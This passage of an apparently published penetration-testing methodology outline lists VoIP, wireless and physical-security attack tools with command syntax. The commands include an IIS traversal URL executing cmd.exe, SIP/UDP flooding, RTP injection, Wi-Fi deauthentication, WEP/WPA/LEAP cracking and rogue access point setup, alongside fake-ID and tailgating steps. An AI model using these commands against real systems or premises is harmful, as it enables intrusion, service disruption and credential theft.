  - Frontpage
  - OWA
  - IIS ISAPI
  - PHP
  - OpenSSL
- File Extensions
  - .ASP, .HTM, .PHP, .EXE, .IDQ

HTTPS

- Commands
  - JUNK / HTTP/1.0
  - HEAD / HTTP/9.3
  - OPTIONS / HTTP/1.0
  - HEAD / HTTP/1.0
- Commands
  - JUNK / HTTP/1.0
  - HEAD / HTTP/9.3
  - OPTIONS / HTTP/1.0
  - HEAD / HTTP/1.0
- File Extensions
  - .ASP, .HTM, .PHP, .EXE, .IDQ

Directory Traversal

- http://www.target.com/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:\

VoIP Security

Sniffing Tools

- AuthTool
- Cain & Abel
- Etherpeek
- NetDude
- Oreka
- PSIPDump
- SIPomatic
- SIPv6 Analyzer
- UCSniff
- VoiPong
- VOMIT
- Wireshark
- WIST - Web Interface for SIP Trace

Expand - Collapse

- Scanning and Enumeration Tools
  - enumIAX
  - fping
  - IAX Enumerator
  - iWar
  - Nessus
  - Nmap
  - SIP Forum Test Framework (SFTF)
  - SIPcrack
  - sipflanker
    - python sipflanker.py 192.168.1-254
  - SIP-Scan
  - SIP.Tastic
  - SIPVicious
  - SiVuS
  - SMAP
    - smap IP_Address/Subnet_Mask
    - smap -o IP_Address/Subnet_Mask
    - smap -l IP_Address
  - snmpwalk
  - VLANping
  - VoIPAudit
  - VoIP GHDB Entries
  - VoIP Voicemail Database
- Packet Creation and Flooding Tools
  - H.323 Injection Files
  - H225regreject
  - IAXHangup
  - IAXAuthJack
  - IAX.Brute
  - IAXFlooder
    - ./iaxflood sourcename destinationname numpackets
  - INVITE Flooder
    - ./inviteflood interface target_user target_domain ip_address_target no_of_packets
  - kphone-ddos
  - RTP Flooder
  - rtpbreak
  - Scapy
  - Seagull
  - SIPBomber

- SIPNess
- SIPp
- SIPsak
  - Tracing paths: - sipsak -T -s sip:usernaem@domain
  - Options request:- sipsak -vv -s sip:username@domain
  - Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain
- SIP-Send-Fun
- SIPVicious
- Spitter
- TFTP Brute Force
  - perl tftpbrute.pl <tftpserver> <filelist> <maxprocesses>
- UDP Flooder
  - ./udpflood source_ip target_destination_ip src_port dest_port no_of_packets
- UDP Flooder (with VLAN Support)
  - ./udpflood source_ip target_destination_ip src_port dest_port TOS user_priority VLAN ID no_of_packets
- Voiphopper

Fuzzing Tools

- Asteroid
- Codenomicon VoIP Fuzzers
- Mu Security VoIP Fuzzing Platform
- ohrwurm RTP Fuzzer
- PROTOS H.323 Fuzzer
- PROTOS SIP Fuzzer
- SIP Forum Test Framework (SFTF)
- Sip-Proxy
- Spirent ThreatEx

Signaling Manipulation Tools

- AuthTool
  - ./authtool captured_sip_msgs_file -d dictionary -r usernames_passwords -v
- BYE Teardown
- Check Sync Phone Rebooter
- RedirectPoison
  - ./redirectpoison interface target_source_ip target_source_port "<contact_information i.e. sip:100.77.50.52;line=xtrfgy>"
- Registration Adder
- Registration Eraser
- Registration Hijacker
- SIP-Kill
- SIP-Proxy-Kill
- SIP-RedirectRTP

- SipRogue
- vnak

- Media Manipulation Tools
  - RTP InsertSound
    - ./rtpinsertsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file
  - RTP MixSound
    - ./rtpmixsound interface source_rtp_ip source_rtp_port destination_rtp_ip destination_rtp_port file
  - RTPProxy
  - RTPInject
- Generic Software Suites
  - OAT Office Communication Server Tool Assessment
  - EnableSecurity VOIPPACK
    - Note: - Add-on for Immunity Canvas
- References
  - URL's
    - Common Vulnerabilities and Exploits (CVE)
      - Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=voip
    - Default Passwords
    - Hacking Exposed VoIP
      - Tool Pre-requisites
        - Hack Library
        - g711conversions
    - VoIPsa
  - White Papers
    - An Analysis of Security Threats and Tools in SIP-Based VoIP Systems
    - An Analysis of VoIP Security Threats and Tools
    - Hacking VoIP Exposed
    - Security testing of SIP implementations
    - SIP Stack Fingerprinting and Stack Difference Attacks
    - Two attacks against VoIP
    - VoIP Attacks!
    - VoIP Security Audit Program (VSAP)

- Wireless Penetration
  - Wireless Assessment. The following information should ideally be obtained/enumerated when carrying out your wireless assessment. All this information is needed to give the tester, (and hence, the customer), a clear and concise picture of the network you are assessing. A brief overview of the network during a pre-site meeting weith the customer should allow you to estimate the timescales required to carry the assessment out.
    - Site Map

Expand - Collapse

- RF Map
  - Lines of Sight
  - Signal Coverage
    - Standard Antenna
    - Directional Antenna
- Physical Map
  - Triangulate APs
  - Satellite Imagery

- Network Map
  - MAC Filter
    - Authorised MAC Addresses
    - Reaction to Spoofed MAC Addresses
  - Encryption Keys utilised
    - WEP
      - Key Length
        - Crack Time
        - Key
    - WPA/PSK
      - TKIP
        - Temporal Key Integrity Protocol, (TKIP), is an encryption protocol desgined to replace WEP
          - Key
          - Attack Time
      - AES
        - Advanced Encryption Standard (AES) is an encryption algorithm utilised for securing sensitive data.
          - Key
          - Attack Time
    - 802.1x
      - Derivative of 802.1x in use
  - Access Points
    - ESSID
      - Extended Service Set Identifier, (ESSID). Utilised on wireless networks with an access point
        - Broadcast ESSIDs
    - BSSIDs
      - Basic service set identifier, (BSSID), utilised on ad-hoc wireless networks.
        - Vendor
        - Channel
        - Associations

Expand - Collapse

- Rogue AP Activity
- Wireless Clients
  - MAC Addresses
    - Vendor
    - Operating System Details
    - Adhoc Mode
    - Associations
  - Intercepted Traffic
    - Encrypted
    - Clear Text

- Wireless Toolkit
  - Wireless Discovery
    - Aerosol
    - Airfart
    - Aphopper
    - Apradar
    - BAFFLE
    - inSSIDer
    - iWEPPro
    - karma
    - KisMAC-ng
    - Kismet
    - MiniStumbler
    - Netstumbler
    - Vistumbler
    - Wellenreiter
    - Wifi Hopper
    - WirelessMon
    - WiFiFoFum
  - Packet Capture
    - Airopeek
    - Airpcap
    - Airtraf
    - Apsniff
    - Cain
    - Commview
    - Ettercap
    - Netmon
      - nmwifi
    - Wireshark

Expand - Collapse

- EAP Attack tools
  - eapmd5pass
    - eapmd5pass -w dictionary_file -r eapmd5-capture.dump
    - eapmd5pass -w dictionary_file -U username -C EAP-MD5 Challengevalue -R EAP_MD5_Response_value -E 2 EAP-MD5 Response EAP ID Value i.e.

      -C e4:ef:ff:cf:5a:ea:44:7f:9a:dd:4f:3b:0e:f4:4d:20 -R 1f:fd:6c:46:49:bc:5d:b9:11:24:cd:02:cb:22:6d:37 -E 2
- Leap Attack Tools
  - asleap
  - thc leap cracker
  - anwrap
- WEP/ WPA Password Attack Tools
  - Airbase
  - Aircrack-ptw
  - Aircrack-ng
  - Airsnort
  - cowpatty
  - FiOS Wireless Key Calculator
  - iWifiHack
  - KisMAC-ng
  - Rainbow Tables
  - wep attack
  - wep crack
  - wzcook
- Frame Generation Software
  - Airgobbler
  - airpwn
  - Airsnarf
  - Commview
  - FreeRADIUS - Wireless Pwnage Edition
  - fake ap
  - Mdk3
  - void 11
  - wifi tap
    - wifitap -b <BSSID> [-o <iface>] [-i <iface> [-p] [-w <WEP key> [-k <key id>]] [-d [-v]] [-h]
- Mapping Software
  - Online Mapping
    - WIGLE
    - Skyhook
  - Tools
    - Knsgem

Expand - Collapse

- Support Tools
  - gpsd
  - GPShell
- File Format Conversion Tools
  - ns1 recovery and conversion tool
  - warbable
  - warkizniz
    - warkizniz04b.exe [kismet.csv] [kismet.gps] [ns1 filename]
  - ivstools
- IDS Tools
  - WIDZ
  - War Scanner
  - Snort-Wireless
  - AirDefense
  - AirMagnet

- WLAN discovery
  - Unencrypted WLAN
    - Visible SSID
      - Sniff for IP range
        - MAC authorised
        - MAC filtering
          - Spoof valid MAC
            - Linux
              - ifconfig [interface] hw ether [MAC]
            - macchanger
              - Random Mac Address:- macchanger -r eth0
            - mac address changer for windows
            - madmacs
            - TMAC
            - SMAC
    - Hidden SSID
      - Deauth client
        - Aireplay-ng
          - aireplay -0 1 -a [Access Point MAC] -c [Client MAC] [interface]
        - Commview
          - Tools > Node reassociation

Expand - Collapse

- Void11
  - void11_penetration wlan0 -D -t 1 -B [MAC]

- WEP encrypted WLAN
  - Visible SSID
    - WEPattack
      - wepattack -f [dumpfile] -m [mode] -w [wordlist] -n [network]
        - Capture / Inject packets
          - Break WEP
            - Aircrack-ptw
              - aircrack-ptw [pcap file]
            - Aircrack-ng
              - aircrack -q -n [WEP key length] -b [BSSID] [pcap file]
            - Airsnort
              - Channel > Start
            - WEPcrack
              - perl WEPCrack.pl
              - ./pcap-getIV.pl -b 13 -i wlan0
  - Hidden SSID
    - Deauth client
      - Aireplay-ng
        - aireplay -0 1 -a [Access Point MAC] -c [Client MAC] [interface]
      - Commview
        - Tools > Node reassociation
      - Void11
        - void11_hopper
        - void11_penetration [interface] -D -s [type of attack] -s [station MAC] -S [SSID] -B [BSSID]

- WPA / WPA2 encrypted WLAN
  - Deauth client
    - Capture EAPOL handshake
      - WPA / WPA 2 dictionary attack
        - coWPAtty
          - ./cowpatty -r [pcap file] -f [wordlist] -s [SSID]
          - ./genpmk -f dictionary_file -d hashfile_name -s ssid
          - ./cowpatty -r cature_file.cap -d hashfile_name -s ssid

Expand - Collapse

- Aircrack-ng
  - aircrack-ng -a 2 -w [wordlist] [pcap file]

- LEAP encrypted WLAN
  - Deauth client
    - Break LEAP
      - asleap
        - ./asleap -r data/libpcap_packet_capture_file.dump -f output_pass+hash file.dat -n output_index_filename.idx
        - ./genkeys -r dictionary_file -f output_pass+hash file.dat -n output_index_filename.idx
      - THC-LEAPcracker
        - leap-cracker -f [wordlist] -t [NT challenge response] -c [challenge]

- 802.1x WLAN
  - Create Rogue Access Point
    - Airsnarf
      - Deauth client
        - Associate client
          - Compromise client
            - Acquire passphrase / certificate
              - wzcook
              - Obtain user's certificate
    - fake ap
      - perl fakeap.pl --interface wlan0
      - perl fakeap.pl --interface wlan0 --channel 11 --essid fake_name --wep 1 --key [WEP KEY]
    - Hotspotter
      - Deauth client
        - Associate client
          - Compromise client
            - Acquire passphrase / certificate
              - wzcook
              - Obtain user's certificate
    - Karma
      - Deauth client
        - Associate client
          - Compromise client
            - Acquire passphrase / certificate

- wzcook
- Obtain user's certificate

- ./bin/karma etc/karma-lan.xml

- Linux rogue AP
  - Deauth client
    - Associate client
      - Compromise client
        - Acquire passphrase / certificate
          - wzcook
          - Obtain user's certificate

- Resources
  - URL's
    - Wirelessdefence.org
    - Russix
    - Wardrive.net
    - Wireless Vulnerabilities and Exploits (WVE)
  - White Papers
    - Weaknesses in the Key Scheduling Algorithm of RC4
    - 802.11b Firmware-Level Attacks
    - Wireless Attacks from an Intrusion Detection Perspective
    - Implementing a Secure Wireless Network for a Windows Environment
    - Breaking 104 bit WEP in less than 60 seconds
    - PEAP Shmoocon2008 Wright & Antoniewicz
    - Active behavioral fingerprinting of wireless devices
  - Common Vulnerabilities and Exploits (CVE)
    - Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=wireless

- Physical Security
  - Building Security
    - Meeting Rooms
      - Check for active network jacks.
      - Check for any information in room.
    - Lobby
      - Check for active network jacks.
      - Does receptionist/guard leave lobby?
      - Accessbile printers? Print test page.
      - Obtain phone/personnel listing.
    - Communal Areas
      - Check for active network jacks.

- Check for any information in room.
- Listen for employee conversations.

- Room Security
  - Resistance of lock to picking.
    - What type of locks are used in building? Pin tumblers, padlocks, abinet locks, dimple keys, proximity sensors?
  - Ceiling access areas.
    - Can you enter the ceiling space (above a suspended ceiling) and enter secured rooms?
  - Windows
    - Check windows/doors for visible intruderalarm sensors.
    - Check visible areas for sensitive information.
    - Can you video users logging on?

- Perimeter Security
  - Fence Security
    - Attempt to verify that the whole of the perimeter fence is unbroken.
  - Exterior Doors
    - If there is no perimeter fence, then determineif exterior doors are secured, guarded andmonitored etc.
  - Guards
    - Patrol Routines
      - Analyse patrol timings to ascertain if any holes exist in the coverage.
    - Communications
      - Intercept and analyse guard communications. Determine if the communication methods can be used to aid a physial intrusion.

- Entry Points
  - Guarded Doors
    - Piggybacking
      - Attempt to closely follow employees into thebuilding without having to show valid credentials.
    - Fake ID
      - Attempt to use fake ID to gain access.
    - Access Methods
      - Test 'out of hours' entry methods
  - Unguarded Doors
    - Identify all unguardedentry points.
      - Are doors secured?
      - Check locks for resistance to lock picking.
  - Windows
    - Check windows/doors for visible intruderalarm sensors.
      - Attempt to bypass sensors.

- Check visible areas for sensitive information.

Expand - Collapse

- Office Waste
  - Dumpster DivingAttempt to retrieve any useful information from ToE refuse. This may include : printed documents, books, manuals, laptops, PDA's, USB memory devices, CD's, Floppy discs etc

- Final Report - template
- Contributors
  - Matt Byrne (WirelessDefence.org)
    - Matt contributed the majority of the Wireless section.
  - Arvind Doraiswamy (Paladion.net)
    - Arvind kindly contributed to the associated MySQL section when coming across TCP Port 3306 open.
  - Lee Lawson (Dns.co.uk)
    - Lee contributed the majority of the Cisco and Social Engineering sections.
  - Nabil OUCHN (Security-database.com)
    - Nabil contributed the AS/400 section.